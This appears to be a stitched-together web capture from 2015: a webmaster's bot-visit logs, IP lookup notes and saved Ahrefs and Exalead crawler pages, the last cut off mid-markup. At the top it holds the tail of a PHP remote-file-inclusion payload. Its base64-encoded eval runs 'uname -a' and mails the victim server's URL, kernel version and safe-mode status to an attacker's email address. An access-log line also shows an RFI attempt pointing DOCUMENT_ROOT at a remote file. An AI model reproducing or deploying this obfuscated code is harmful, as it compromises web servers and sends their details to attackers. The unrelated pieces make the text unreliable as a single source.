$OS = "<<".$hsafemode.">> ".$xos."";
echo "<center><A class=ria href=\"http://".$OS."\">";echo "PLaTo</A></center><br>";
echo "<br>OSTYPE:$OS<br>";
echo "<br>Pwd:$xpwd<br>";
eval(base64_decode("aWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAiT04iOyB9IGVsc2UgeyAkc2FmZW1vZGUgPSAiT0ZGIjsgfSAkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkZmxvYXQgPSAiRnJvbSA6IHZ1cmwgaW5mbyA8ZnVsbEBpbmZvLmNvbT4iOyAkYXJhbiA9IGV4ZWMoJ3VuYW1lIC1hOycpOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICRib2R5ID0gIkJ1ZyBodHRwOi8vIi4kd2ViLiRpbmouIm5uU3ByZWFkIFZpYSA6ICIuJHZpc2l0b3IuIm5uS2VybmVsIFZlcnNpb24gOiAiLiRhcmFuLiJublNhZmUgTW9kZSA6ICIuJHNhZmVtb2RlOyBtYWlsKCJnZWlzaGFzb3BoaWVAZ21haWwuY29tIiwiU2V0b3JhbiBCb3MgIi4kc2FmZW1vZGUsJGJvZHksJGZsb2F0KTs="));
die("<center> ByroeNet </center>");
?>
148.251.189.16 - - [02/Jul/2015:16:49:41 +0200] "GET /post/Bloquer-robot-navigateur-indesirable/e404.php?DOCUMENT_ROOT=http://vietnamcircuits.com/modules/mod_roknewsflash/tmpl/vero.txt? HTTP/1.1" 404 8749 "-" "libwww-perl/6.04"
2015-06-29 00:30:02 151.80.31.130
websitelooker.com : 151.80.31.130
whois.domaintools.com : 151.80.31.130
<!DOCTYPE html>
<head>
    <meta charset="utf-8">
    <link rel="shortcut icon" href="/favicon.ico"/>

            <title>Ahrefs - backlinks research tool</title>    
    <meta name="_token" content="eZnPJlDh4uTpTLfUTstxRarUwhzKCfrXJpkfG7zB" />

    


        <link media="all" type="text/css" rel="stylesheet" href="https://ahrefs.com/assets/css/reset.css?250615">

    <link media="all" type="text/css" rel="stylesheet" href="https://ahrefs.com/assets/css/main.css?250615">

    <link media="all" type="text/css" rel="stylesheet" href="https://ahrefs.com/assets/css/support.css">

    <link media="all" type="text/css" rel="stylesheet" href="https://ahrefs.com/assets/css/icons.css?250615">

    <link media="all" type="text/css" rel="stylesheet" href="https://ahrefs.com/assets/css/header.css?250615">

    <link media="all" type="text/css" rel="stylesheet" href="https://ahrefs.com/assets/css/font-awesome.min.css">


                
        
    <link media="all" type="text/css" rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,400,700,600,300">

    <link media="all" type="text/css" rel="stylesheet" href="https://fonts.googleapis.com/css?family=Shadows+Into+Light+Two">


	
	<link rel="apple-touch-icon" href="/images/apple-touch-icon.png" >
	<link rel="apple-touch-icon" sizes="76x76" href="/images/apple-touch-icon-76.png" >
	<link rel="apple-touch-icon" sizes="120x120" href="/images/touch-icon-iphone-retina.png" >

            <style type="text/css">
            body{font-family:"Open Sans",Helvetica,Arial,sans-serif;font-weight:600;font-size:12px;}
            /* -------------------------------------------------- */
            strong,.strong,.strong *{font-weight:700!important;}
            strong,.strong,.strong-alert strong,strong.strong-alert,.strong-bright strong,strong.strong-bright{font-weight:700;}
            .overview-tables th{font-weight:600;}
            .semi-bold{font-weight:700!important;}
            .semibold-table td{font-weight:700!important;}
            .nav .main-li a{position:relative;top:5px;}
            .counters strong{color:#fff;font-size:50px;font-weight:normal!important;padding:8px 10px 2px 24px;margin:0 4px;width:75px;height:75px;}
            #checkboxes label,.checkboxes label{margin-top:2px!important;}
            .datepickerDays a>span,.NewColor,.LostColor{font-weight:400;}
            .counters strong:after{content:''!important;left:0;}
            .plans-payments{font-size:12px;}
            .se-menu{font-size:12px;}
            .se-menu .head{font-size:11px;}
            .overview-stats{font-size:12px;}
            .intable{font-size:11px;}
        </style>
        
    <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>

    <script>
    if (!window.jQuery) {
        document.write('<script src="/assets/js/jquery.min.js"><\/script>');
    }
    </script>
    
    <script src="https://ahrefs.com/assets/js/bootstrap/js/bootstrap.min.js"></script>


        
    <script src="https://ahrefs.com/scripts/script.js?250615"></script>


    <script>
        $(function() {
            $.ajaxSetup({
                headers: {
                    'X-CSRF-Token': $('meta[name="_token"]').attr('content')
                }
            });
        });
    </script>
        
                <link href="/assets/css/main.css?250615" media="screen" type="text/css" rel="stylesheet" type='text/css'>
<link href="/assets/css/header.css?250615" media="screen" type="text/css" rel="stylesheet" type='text/css'>

<style type="text/css">
    body{font-family:"Open Sans",Helvetica,Arial,sans-serif;font-weight:400;font-size:13px;}
    strong,.strong,.strong *{font-weight:600!important;}
    h2{font-weight:400!important;}
    strong,.strong,.strong-alert strong,strong.strong-alert,.strong-bright strong,strong.strong-bright{font-weight:600;}
    .nav .main-li a{position:relative;top:5px;}
    .hand-written{font-weight:600!important;}
    .counters strong:after{content:''!important;left:0;}
</style>

<link rel="stylesheet" href="/assets/css/company/company.css">

    
        
    <script type="text/javascript">
    (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
        (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
        m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
    })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

    ga('create', 'UA-28303106-1', 'ahrefs.com');
    ga('require', 'displayfeatures');
    ga('send', 'pageview');

    // Load the plugin.
    ga('require', 'linker');

    // Define which domains to autoLink.
    ga('linker:autoLink', ['fastspring.com']);

</script>

</head>
<body >

    <div id="progress" class="loading"></div>
<div class="wrapper wrapper--se--only  ">
	<header id="main-header" class="sso__header">

		<div class="sso__header__top sso__header__top--ahrefs">
			<div class="container-fluid">

                				
                <ul class="nav float-right ">

        <li class="dropdown" style=" background:transparent!important;">
            <a class="dropdown-toggle btn-dark strong" href="#" data-toggle="dropdown" style="margin-right:12px;">
                Sign in
            </a>

            <div class="dropdown-menu signin-dropdown pull-right signin-dropdown ahrefs--signinbox" style="margin:0;">

                <form id="dropdown_login_form" method="post" action="/users/login.php" accept-charset="UTF-8" name="login_form">
                    
                    <div class="ahrefs--signinbox--social">
    <h4>Connect with a Social Network</h4>
    <ul class="ahrefs--signinbox--social__item">
            <li class="fb">
                <a onclick="fb_login();">
                    <span><i class="fa fa-facebook-square"></i></span>
                    <p>Sign in with Facebook</p>
                </a>
            </li>
        <li class="gplus">
            <a onclick="gapi.auth.signIn({'callback': signinCallback});">
                <span><i class="icon-g"></i></span>
                <p>Sign in with Google</p>
            </a>
        </li>
    </ul>
</div>

                    <div class="break"><span>OR</span></div>
                    <div style="min-width:200px;" class="ahrefs--signinbox--password">
                        <h4>Sign In with Your Email Address</h4>
                        <ul class="ahrefs--signinbox--password__item">
                            <li>
                                <input type="text" placeholder="Your Email" id="dropdown_login_user_email"
                                       name="email">
                            </li>
                            <li>
                                <input type="password" placeholder="Your Password" id="dropdown_login_user_password"
                                       name="password">
                            </li>
                        </ul>
                        <div class="login--addtional-options">
                            <label>
                                <input type="checkbox" name="remember_me" value=1>
                                <span></span>Remember Me
                            </label>
                            <span><a href="/users/forgot_password.php" >Forgot your password</a></span>
                        </div>
                    </div>'
                    <div class="clearfix"></div>
                    <p class="text-center top6">
                        <input class="btn--signIn font11" type="submit" id="dropdown_login_form_sign_in"
                               value="Sign in">
                    </p>
                    <input type="hidden" name="return_to" value="/robot"/>
                </form>
            </div>
        </li>
    </ul>

    <div class="float-right user-name-left">
        <a class="btn-hilight-small" href="/registration/choose-your-plan">
            Register Account!</a>
    </div>


    <script>
        $(document).ready(function () {
            //Handles menu drop down
            $('#dropdown_login_form').click(function (e) {
                e.stopPropagation();
            });
        });
    </script>


				<ul class="ahrefs--products">
					<li class="current">
						<a href="/">Ahrefs</a>
					</li>	
					<li>
                        <a href="http://blog.ahrefs.com/">Blog</a>
					</li>
                    <li>
                        <a href="/top-marketing-reads"> Top Marketing Reads</a>
                    </li>
				</ul>
			</div>
		</div>
        <div class="sso__header__bottom sso__header__bottom--ahrefs">
			<div class="container-fluid">
				<a class="logo" href="/">Ahrefs</a>
				<ul class="sso__header__menu sso__header__menu--ahrefs">
					<li class="">
						<a href="/site-explorer" class="main-link" >Site Explorer</a>
					</li>
					<li class="">
						<a href="/content-explorer" class="main-link" >Content Explorer</a>
					</li>

                    <li class="">
                        <a href="/positions-explorer" class="main-link" >Positions Explorer </a> <i class="newBadge">New</i>
                    </li>
                    <li class="">
                        <a href="/keywords-explorer" class="main-link" >keywords Explorer </a> <i class="newBadge">New</i>
                    </li>
					<li class="dropdown--lab dropdown ">
						<a class="dropdown-toggle main-link width-100" data-toggle="dropdown">
    Labs <i class="fa fa-chevron-down"></i>
</a>

<ul class="dropdown-menu labs-menu" >
    <li class="">
        <a href="/apps" >
            <span class="fa fa-th menu--fa--apps"></span>
            Apps</a></li>

    <li class="">
        <a href="/api " >
            <span class="icon-menu_api-01" title="Ahrefs Api"></span>
            Ahrefs API</a></li>

    <li class="">
        <a href="/labs/ahrefs-top" >
            <span class="icon-ahrefs-rank " title="Ahrefs Top"></span>
            Ahrefs Top</a>
    </li>

    <li class="">
        <a href="/labs/domain-comparison" >
            <span class="icon-comparison " title="Ahrefs Domain Comparison"></span>
            Domain Comparison</a></li>

    <li class="">
        <a href="/labs/seo-toolbar" >
            <span class="icon-seo-toolbar " title="Ahrefs SEO Toolbar"></span>
            SEO Toolbar</a>
    </li>
    <li class="">
        <a href="/labs/batch-analysis">
            <span class="icon-batch" title="Batch Analytic"></span>
            Batch Analysis
        </a>
    </li>

    <li class="">
        <a href="/seo-reports" >
            <span class="crawl-reports" title="Crawl Report">
                <img class="svg" src="/images/fonts/icon-crawl-report.svg" alt="Crawl Report" />
            </span>
            Crawl Report</a>
    </li>

    <li class="">
        <a href="/reports" >
            <span class="icon-report" title="Ahrefs Backlinks Report"></span>
            Backlinks Report</a></li>
</ul>
					</li>
				
					<li class="">
						<a href="/pricing-plans" class="main-link">Plans & Pricing</a>
					</li>
					<li class="language">
						<button class="btn btn-small btn-light dropdown-toggle" data-toggle="dropdown">
							<i class="fa fa-globe"></i>
							<span>EN</span>
							<i class="fa fa-chevron-down"></i>
					  	</button>

						<ul class="dropdown-menu langs" style="top:60px;">
							<li>
						   		<a href="https://ahrefs.com/robot"
						   			class="active" title="English">
						   			<span class="width-4e block float-left">EN</span>
						   			<span>English</span>
								</a> 
							</li>
								
																																						<li>
							   		<a href="javascript:void(0);" title="Русский" onclick="SetLanguage('ru', 'https%3A%2F%2Fru.ahrefs.com%2Frobot');">
							   			<span class="width-4e block float-left">RU </span>
							   			Русский
							   		</a> 
								</li>
																																																													<li>
							   		<a href="javascript:void(0);" title="日本語" onclick="SetLanguage('ja', 'https%3A%2F%2Fja.ahrefs.com%2Frobot');">
							   			<span class="width-4e block float-left">JA </span>
							   			日本語
							   		</a> 
								</li>
																															<li>
							   		<a href="javascript:void(0);" title="中文" onclick="SetLanguage('cmn', 'https%3A%2F%2Fcmn.ahrefs.com%2Frobot');">
							   			<span class="width-4e block float-left">CMN </span>
							   			中文
							   		</a> 
								</li>
																																																																																																															</ul>
					</li>
				</ul>
			</div>
		</div>

	</header>
	<div id="removeNotificationsModal" class="modal in modal--csvNotifications" aria-hidden="false" style="display:none;">
	    <div class="modal-body">
	        <div class="left">
	            <span class="icon-warning" title="!"> </span>
	        </div>
	        <div class="main">
	            <h5>Are you sure you want to <strong>remove all CSV files?</strong></h5>
	            <!-- <h4>Delete CSV File</h4>
	            <p>Are you sure you want to delete <strong>overview_top_page_example.net.csv</strong> file?	</p> -->
	            <div class="buttons">
	                <button class="btn-dark" onclick="$('#removeNotificationsModal').modal('hide')">No, Thanks</button>
	                <button class="btn-regular" onclick="$('#removeNotificationsModal').modal('hide');deleteCSVFile('all');">Yes, Delete</button>
	            </div>
	        </div>

	    </div>
	</div>

	<!-- Modal Login -->
<div id="LoginFormModalWindow" class="modal ahrefs--signinbox" style="display:none;">
	<div class="modal-body">
	    <form id="modal_login_form" method="post" action="/users/login.php" accept-charset="UTF-8" name="login_form">
            <h3 class="text-center" style="font-weight:normal">Sign In To Ahrefs</h3>
            
            <div class="ahrefs--signinbox--social">
    <h4>Connect with a Social Network</h4>
    <ul class="ahrefs--signinbox--social__item">
            <li class="fb">
                <a onclick="fb_login();">
                    <span><i class="fa fa-facebook-square"></i></span>
                    <p>Sign in with Facebook</p>
                </a>
            </li>
        <li class="gplus">
            <a onclick="gapi.auth.signIn({'callback': signinCallback});">
                <span><i class="icon-g"></i></span>
                <p>Sign in with Google</p>
            </a>
        </li>
    </ul>
</div>

            <div class="break"><span>OR</span></div>
            <div class="ahrefs--signinbox--password">
                <h4>Sign in with Your Email Address</h4>
                <ul class="ahrefs--signinbox--password__item">
                    <li>
                        <input name="email" id="email_input" type="text" size="28" value="" placeholder="Your Email"
                               style="background:#fff!important; border:none; font-size:16px;" class="width-90 bold-input" autofocus />
                    </li>
                    <li>
                        <input type="password" name="password" size="28" value="" placeholder="Your Password"
                               style="background:#fff!important; border:none; font-size:16px;" class="width-90 bold-input" />
                    </li>
                </ul>
            </div>
            <div class="login--addtional-options">
                <label>
                    <input type="checkbox" name="remember_me" value="1">
                    <span></span>Remember Me
                </label>
                <span class="pull-right push-03top"><a href="/users/forgot_password.php">Forgot password?</a></span>
            </div>

            <input type="submit" value="Sign in" style="display:block; width:100%;"
                   class="no-mbottom push-top btn-hilight font13 line18 no-border left-1" />
            <input type="hidden" name="return_to" value="/robot" />
	    </form>
	</div>
</div>
	
            







    <article class="container-fluid">
    <div class="row-fluid font120 line12">
        <div class="span5">

            <h1>What's this?</h1>
            <br />
            <hr />

            <p class="push-top">
                A Web crawler is a computer program that browses the World Wide Web in a methodical, automated manner or in an orderly fashion.<br /><br />
                Other terms for Web crawlers are ants, automatic indexers, bots, or Web spiders, Web robots, or—especially in the FOAF community—Web scutters.
                This process is called Web crawling or spidering.
            </p>
            <p class="push-top">
                A Web crawler is one type of bot, or software agent.
                In general, it starts with a list of URLs to visit, called the seeds.<br />
                As the crawler visits these URLs, it identifies all the hyperlinks in the page and adds them to the list of URLs to visit, called the crawl frontier.
                URLs from the frontier are recursively visited according to a set of policies.
            </p>
            <p>
                The bot will not pick up the changes in robots.txt immediately, usually it may take up to one week.<br />
                If you want the changes to be active immediately - please contact our  <a href="mailto:support@ahrefs.com?subject=Support">support@ahrefs.com</a>.
            </p>

        </div>

        <div class="span6 offset1">
            <h1>How to turn it off?</h1>
            <br />
            <hr />

            <p class="push-top">
                The quick way to prevent AhrefsBot from visiting your site is to put these two lines into the <strong>/robots.txt</strong> file on your server:
            </p>

            <code class="stylish-img box float-left push-2bottom font110">
                user-agent: AhrefsBot<br />
                disallow: /
            </code>

            <hr class="top-10" />

            <p>
                Alternatively, you can control the frequency of AhrefsBot visiting your site by specifying the minimum acceptable delay between two consecutive requests from our bot as follows (in robots.txt):
            </p>

            <code class="stylish-img box float-left push-2bottom top5 font110">
                User-Agent: AhrefsBot <br />
                Crawl-Delay: 2
            </code>

            <hr class="clear" />
            <p class="top-10"> 
                where the value of Crawl-Delay parameter is time in seconds (you can use fractional seconds too)
            </p>

            <hr />

            <p class="clear-block ">
                Read about robots.txt at 
                <a href="http://www.robotstxt.org">www.robotstxt.org</a> </p>
            <br />
            <br />

        </div>
    </div>
</article>

        



                <footer >
    <div class="container-fluid">
        <div class="row-fluid">

            <div class="span2 f-about">
                <h3>Company</h3>
                 <a href="/about">About Ahrefs</a><br/>                  <a href="/team">Team</a><br/>                  <a href="/jobs">Jobs</a><br/>                  <a href="/reviews">Reviews</a><br/>                  <a href="/faqs">FAQs</a><br/>                 <a href="mailto:dmitry@ahrefs.com?subject=Partnership">Partnership</a><br/>
            </div>

            <div class="span7">
                <div class="f-products">
                    <h3>Products</h3>

                    <div class="push-2right">
                                                    <a href="/site-explorer">Site Explorer &amp; Backlink Checker</a>
                                                <br/>
                                                    <a href="/content-explorer">Content Explorer</a>
                                                <br/>
                                                    <a href="/positions-explorer">Positions Explorer</a>
                                                <br/>
                                                    <a href="/keywords-explorer">Keywords Explorer</a>
                                                <br/>
                                                    <a href="/seo-reports">Crawl Report</a>
                                                <br/>

                                                    <a href="/reports">Backlinks Report</a>
                                                <br/>
                    </div>

                    <div class=" float-left">
                                                                                    <a href="/api">
                                                        Ahrefs API</a>
                                                <br/>

                                                    <a href="/labs/domain-comparison">Domain Comparison</a>
                                                <br/>

                                                    <a href="/labs/batch-analysis">Batch Analysis</a>
                                                <br/>

                                                    <a href="/labs/seo-toolbar">SEO Toolbar</a>
                                                <br/>

                                                    <a href="/pricing-plans">Plans &amp; Pricing</a>
                                            </div>

                </div>

                <div class="f-legal">
                    <h3 class=" ">Legal</h3>

                                            <a href="/terms">Terms &amp; Conditions</a><br/>
                                        <a href="//www.iubenda.com/privacy-policy/794932" class="iubenda-nostyle no-brand iubenda-embed" title="Privacy Policy">Privacy Policy</a>
                </div>

            </div>


            <div class="span3">
                <div class="footer-contact">
                    <div class="footer-contact-wrapper">
                        <h3 class="border-bottom top4">Contact</h3>
                        <ul class="footer-contact--info">
                            <li>
                                <span><i class="icon-imac"></i>web</span> :
                                <cite>
                                    <a href="http://support.ahrefs.com/" target="_blank">Support Desk</a>
                                </cite>
                            </li>
                            <li>
                                <span><i class="icon-skype"></i>skype</span> :
                                <cite>ahrefs.support</cite>
                            </li>
                            <li>
                                <span><i class="icon-mail"></i>email</span> :
                                <cite>
                                    <a href="mailto:support@ahrefs.com?subject=Support">support@ahrefs.com</a>
                                </cite>
                            </li>
                            <li>
                                <span><i class="icon-phone"></i>tel</span> :
                                <cite>1-347-352-0138</cite>
                            </li>
                        </ul>
                    </div>
                </div>
            </div>

        </div>
        
        <div class="copyright">
            <span>&copy; 2011-2015 Ahrefs Pte Ltd (201227417H)</span>
        </div>

    </div>
    </footer>

    <script type="text/javascript">
function SetLanguage(Language, URL)
{
	if (Language != null)
	{
    	Set_Cookie('last_language', Language, 99999, '/', '.ahrefs.com', '' );
		location.href = decodeURIComponent(URL);
	}	
}

function ShowPageLoader()
{
	if ( typeof(ProcessObj) != 'undefined' && $('#process').length > 0 )
	{
		ProcessObj.find("img:first").attr("src", ProcessImage.src);
		ProcessObj.align_after(1);
	    ProcessObj.show();
	}
}

function ShowCentralPageLoader()
{
	if ( typeof(ProcessObj) != 'undefined' && $('#process').length > 0 )
	{
		ProcessObj.find("img:first").attr("src", ProcessImage.src);
		ProcessObj.center();
	    ProcessObj.show();
	}
    //progress
}

$(document).ready(function() {
	$('#modal_login_form_sign_in').on('click', function (e) {
		$('#modal_login_form').submit();
	});
   	
	$('#modal_login_form').click(function (e) {
		e.stopPropagation();
	});

	$('#LoginFormModalWindow').css('width', '305px').css('margin-left','-175px');
	
	$('#LoginFormModalWindow').on('hidden', function () {
		$('#modal_login_user_email').val('');
		$('#modal_login_user_password').val('');
	});


    var url_query = $('#dashboard_add_site_modal_url'),
            url_clearQuery = $('#siteurl_clearQuery');

    function checkVal() {
        var url_query = $('#dashboard_add_site_modal_url');
        if(url_query.val() !== ""){
            url_clearQuery.show();
        } else {
            url_clearQuery.hide();
        }
    }

    url_query.on('click focus keyup blur', checkVal);
    url_clearQuery.click(function () {
        url_query.val("");
        checkVal();
    });
});


var NumberYourProcessingFiles = 0;
var NumberYourCompletedFiles = 0;
var TimeOutYourProcessingFiles;
var PeriodForCheckProcessingFiles = 4;

    function CheckNumberYourProcessingFiles()
    {
        $.post("/site-explorer/ajax/get/user_processing_files_number", {},
                function(response)
                {
                    if (typeof(response.ProcessingCount) != 'undefined' && typeof(response.CompletedCount) != 'undefined')
                    {
                        if (response.CompletedCount > NumberYourCompletedFiles)
                        {
                            var TimePlus = 0;
                            if (!$('#PreparingCSVExportAlert').is(":hidden"))
                            {
                                TimePlus = 3000;
                            }

                            $.post("/site-explorer/ajax/top-notifications/list", {},
                                function(response)
                                {
                                    fetchTopNotifications(response);
                                
                                	if (response.status)
                                	{
                                    	var DownloadDesign = false;
                                    	var DownloadLink = '';
                                    	var DownloadFilename = '';
                                        $.each( response.files, function( key, row ) {
                                        	if (row.status == 'completed') 
                                        	{
                                        		if (row.filesize != '0B')
                                        		{
                                        			DownloadLink = '/site-explorer/csv-download/'+row.id;
                                        			DownloadFilename = row.filename;
                                        			DownloadDesign = true;
                                                    //console.log(DownloadLink);
                                                    //console.log(DownloadFilename);
                                        		}
                                        		return false;
                                        	}
                                        });

                                        if (DownloadDesign)
                                        {
                                        	AlertReadyForDownloadTitleObj.html(DownloadFilename);
                                        	AlertReadyForDownloadTitleObj.attr('title', DownloadFilename);
                                        	AlertReadyForDownloadLinkObj.attr('href', DownloadLink);
                                        	AlertReadyForDownloadLinkObj.attr('title', DownloadFilename);
                                        	setTimeout(function() {
                                                if(!$('.ahrefs--notifications').hasClass('open')){
                                                	AlertReadyCSVExportAlertWithDownloadObj.show();
                                                }
                                            }, (2000+TimePlus));

                                            setTimeout(function(){
                                                AlertReadyCSVExportAlertWithDownloadObj.fadeOut('slow');
                                                AlertReadyForDownloadTitleObj.html('');
                                            	AlertReadyForDownloadLinkObj.attr('href', '/');
                                                AlertReadyForDownloadTitleObj.attr('title', '');
                                                AlertReadyForDownloadLinkObj.attr('title', '');
                                            }, (12000+TimePlus));
                                        }
                                        else
                                        {
                                            setTimeout(function() {
                                                if(!$('.ahrefs--notifications').hasClass('open')){
                                                    $('#ReadyCSVExportAlert').show();
                                                }
                                            }, (2000+TimePlus));
                                            
                                            setTimeout(function(){$('#ReadyCSVExportAlert').fadeOut('slow');}, (6000+TimePlus));                                                                                    
                                        }
                                    	//console.log('NumberYourCompletedFiles='+NumberYourCompletedFiles+' response.Count='+response.Count);
                                    }
                                },"json"
                            );
                            DeductNumberYourShownFiles();                
                        }
                        NumberYourCompletedFiles = response.CompletedCount;
                        if (response.ProcessingCount > NumberYourProcessingFiles)
                        {
                            setTimeout(function(){
                                if(!$('.ahrefs--notifications').hasClass('open')){
                                    $('#PreparingCSVExportAlert').show();
                                }
                            }, 2000);
                            setTimeout(function(){$('#PreparingCSVExportAlert').fadeOut('slow');}, 6000);
                        }
                        NumberYourProcessingFiles = response.ProcessingCount;

                        if (NumberYourProcessingFiles > 0)
                        {
                            if (TimeOutYourProcessingFiles != null && TimeOutYourProcessingFiles != '')
                            {
                                clearTimeout(TimeOutYourProcessingFiles);
                            }

                            TimeOutYourProcessingFiles = window.setTimeout(CheckNumberYourProcessingFiles, PeriodForCheckProcessingFiles*1000);

                            switch (PeriodForCheckProcessingFiles)
                            {
                                case 4:
                                    PeriodForCheckProcessingFiles = 6;
                                    break;
                                case 6:
                                    PeriodForCheckProcessingFiles = 10;
                                    break;
                                case 10:
                                    PeriodForCheckProcessingFiles = 15;
                                    break;
                                case 15:
                                    PeriodForCheckProcessingFiles = 20;
                                    break;
                            }
                        }
                    }
                },"json"
        );
        return false;
    }

    function DeductNumberYourShownFiles()
    {
        $.post("/site-explorer/ajax/set/deduct_shown_files_number", {},
                function(response)
                {
                    if (typeof(response.Count) != 'undefined')
                    {
                        //console.log('NumberYourCompletedFiles='+NumberYourCompletedFiles+' response.Count='+response.Count);
                    }
                },"json"
        );
        return false;
    }
</script>


    
    <script>
    var callbackURL = '/v2/users/login/';
    var callbackURLFB = '/v2/users/login-new/';

    function fb_login(){
        FB.login(function(response) {
            if (response.authResponse) {
                location = callbackURLFB+'facebook?access_token='+FB.getAuthResponse()['accessToken'];
            } else {
                console.log('Cancelled.');
            }
        }, {
            scope: 'public_profile,email'
        });
    }
    // This is called with the results from from FB.getLoginStatus().
    function statusChangeCallback(response) {
        if (response.status === 'connected') {
            //location = '/v2/users/login/facebook';
        } else if (response.status === 'not_authorized') {
            //
        } else {
            //
        }
    }

    function checkLoginState() {
        FB.getLoginStatus(function(response) {
            statusChangeCallback(response);
        });
    }

    window.fbAsyncInit = function() {
        FB.init({
            appId      : '341820002654296',
            cookie     : true,  // enable cookies to allow the server to access
                                // the session
            xfbml      : false,  // parse social plugins on this page
            version    : 'v2.1' // use version 2.1
        });
/*
        FB.getLoginStatus(function(response) {
            statusChangeCallback(response);
        });
*/
    };

    // Load the SDK asynchronously
    (function(d, s, id) {
        var js, fjs = d.getElementsByTagName(s)[0];
        if (d.getElementById(id)) return;
        js = d.createElement(s); js.id = id;
        js.src = "//connect.facebook.net/en_US/sdk.js";
        fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));

</script>
<meta name="google-signin-clientid" content="582346672061-4np5k049ora89beb3l3es4iu0ebs2mal.apps.googleusercontent.com" />
<meta name="google-signin-scope" content="email" />
<meta name="google-signin-cookiepolicy" content="single_host_origin" />
<script src="https://apis.google.com/js/client:platform.js?onload=render" async defer>
    /* Executed when the APIs finish loading */
    function render() {
    }
</script>
<script>
    function signinCallback(authResult) {
        if (authResult['status']['signed_in']) {
            if (authResult['status']['method'] == 'PROMPT') {
                location = callbackURL+'google?access_token='+authResult.access_token;
            }
        } else {
            console.log('Sign-in state: ' + authResult['error']);
        }
    }
</script>








<script type="text/javascript">
    window.intercomSettings = {
                            type:'visitor',
                app_id: "dic5omcp"
    };

    $('body .wrapper').click(function () {
        Intercom('hide');
    });

    (function(){var w=window;var ic=w.Intercom;if(typeof ic==="function"){ic('reattach_activator');ic('update',intercomSettings);}else{var d=document;var i=function(){i.c(arguments)};i.q=[];i.c=function(args){i.q.push(args)};w.Intercom=i;function l(){var s=d.createElement('script');s.type='text/javascript';s.async=true;s.src='https://widget.intercom.io/widget/dic5omcp';var x=d.getElementsByTagName('script')[0];x.parentNode.insertBefore(s,x);}if(w.attachEvent){w.attachEvent('onload',l);}else{w.addEventListener('load',l,false);}}})()
    //crazyegg
    setTimeout(function () {
        var a = document.createElement("script");
        var b = document.getElementsByTagName("script")[0];
        a.src = document.location.protocol + "//dnn506yrbagrg.cloudfront.net/pages/scripts/0014/6260.js?" + Math.floor(new Date().getTime() / 3600000);
        a.async = true;
        a.type = "text/javascript";
        b.parentNode.insertBefore(a, b)
    }, 1);

    (function(){
        var t,i,e,n=window,o=document,a=arguments,s="script",r=["config","track","identify","visit","push","call","trackForm","trackClick"],c=function(){var t,i=this;for(i._e=[],t=0;r.length>t;t++)(function(t){i[t]=function(){return i._e.push([t].concat(Array.prototype.slice.call(arguments,0))),i}})(r[t])};for(n._w=n._w||{},t=0;a.length>t;t++)n._w[a[t]]=n[a[t]]=n[a[t]]||new c;i=o.createElement(s),i.async=1,i.src="//static.woopra.com/js/t/5.js",e=o.getElementsByTagName(s)[0],e.parentNode.insertBefore(i,e)
    })("woopra");

    woopra.config({
        domain: 'ahrefs.com'
    });

    
    woopra.track();
</script>
</body>
</html>    
151.80.31.130 - - [28/Jun/2015:21:12:17 +0200] "GET /wp-content/plugins/wp-symposium/readme.txt HTTP/1.1" 404 295 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)"
2015-06-25 08:30:02 178.255.215.90
websitelooker.com : 178.255.215.90
whois.domaintools.com : 178.255.215.90



<!DOCTYPE html>
<html lang="en">
  <head >
    




    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <!--[if lt IE 9]>
    <script src="/content/js/html5shiv.js"></script>
    <![endif]-->
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="description" content="The best search engine out there"/>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <link rel="icon" href="/content/img/favicon.ico"/>
    <link rel="shortcut icon" href="/content/img/favicon.ico"/>

    <link type="application/opensearchdescription+xml" rel="search" title="Exalead" href="/go/opensearchdescription/"/>
    
    <link href="/content/css/base-min.css?1435213802" rel="stylesheet" type="text/css" />

    
    <!-- <link href="/content/bootstrap/css/bootstrap.css" rel="stylesheet" media="screen"> -->
    <link rel="help" href="faq/"/>
    <link rel="home" href="/search/web/results/"/>

    

    <title>
  Webmaster's guide
 - Exalead</title>
  </head>
  <body class="  ">
      
        







<div id="header" class="navbar navbar-inverse navbar-static-top">
  <div class="navbar-inner">
    <div class="container">
      <button type="button" class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
        <span class="icon-bar"></span>
        <span class="icon-bar"></span>
        <span class="icon-bar"></span>
      </button>
      <a class="brand" href="/search/web/"><img id="brand-logo" src="/content/img/logo-blue.png" alt="Exalead"></a>
      <div class="nav-collapse collapse">
        <ul class="nav pull-right">
          <li><a href="/account/preferences/?next=http%3A%2F%2Fwww.exalead.com%2Fsearch%2Fwebmasterguide" title="Edit your preferences">Preferences</a></li>
        
          <li><a href="/account/login/?next=http%3A%2F%2Fwww.exalead.com%2Fsearch%2Fwebmasterguide" title="Log in to your account">Log in</a></li>
          <li><a href="/account/register/" title="Create your free Exalead account to enjoy the same experience on every computer">Create an account</a></li>
        
        </ul>
      </div><!--/.nav-collapse -->
        
        
        <ul id="search-types" class="nav">
        
          
            
                <li class="active">
                  <a
                    href="/search/web/results/?q="
                    class="web"
                    title="Web Search"
                    
                    
                  >Web</a>
              </li>
            
                <li>
                  <a
                    href="/search/image/results/?q="
                    class="image"
                    title="Image Search"
                    
                    
                  >Images</a>
              </li>
            
                <li>
                  <a
                    href="/search/video/results/?q="
                    class="video"
                    title="Video Search"
                    
                    
                  >Videos</a>
              </li>
            
                <li>
                  <a
                    href="/search/wikipedia/results/?q="
